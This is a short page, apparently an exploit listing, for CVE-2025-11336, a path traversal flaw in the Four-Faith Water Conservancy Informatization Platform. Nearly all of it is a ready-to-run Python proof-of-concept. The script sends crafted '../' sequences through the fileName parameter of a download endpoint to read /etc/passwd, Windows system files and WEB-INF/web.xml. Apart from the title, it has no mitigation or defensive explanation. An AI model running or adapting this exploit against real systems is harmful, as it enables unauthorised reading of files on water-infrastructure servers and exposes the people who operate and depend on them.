CVE-2025-11336：四信水利信息化平台路径遍历漏洞

# CVE-2025-11336 - Four-Faith Water Conservancy Informatization Platform Path Traversal PoC # Vulnerability: Path Traversal via fileName parameter in download endpoint # Affected: Four-Faith Water Conservancy Informatization Platform <= 2.2 import requests TARGET_URL = "http://target-host:8080" VULNERABLE_PATH = "/stAlarmConfigure/index.do/../../aloneReport/download.do;otherlogout.do" def exploit_path_traversal(target_url, traversal_depth=4, target_file="etc/passwd"): """ Exploit path traversal vulnerability to read arbitrary files """ # Construct traversal path traversal = "../" * traversal_depth malicious_filename = f"{traversal}{target_file}" # Build full URL full_url = f"{target_url}{VULNERABLE_PATH}" # Send exploit request params = {"fileName": malicious_filename} headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Accept": "*/*" } try: response = requests.get(full_url, params=params, headers=headers, timeout=10) print(f"[*] Target: {target_url}") print(f"[*] Payload: fileName={malicious_filename}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.content)} bytes") print(f"[*] Response Content:\n{response.text[:2000]}") return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": # Example: Read /etc/passwd on Linux exploit_path_traversal(TARGET_URL, traversal_depth=5, target_file="etc/passwd") # Example: Read Windows system files # exploit_path_traversal(TARGET_URL, traversal_depth=4, target_file="windows/win.ini") # Example: Read application configuration files # exploit_path_traversal(TARGET_URL, traversal_depth=3, target_file="WEB-INF/web.xml")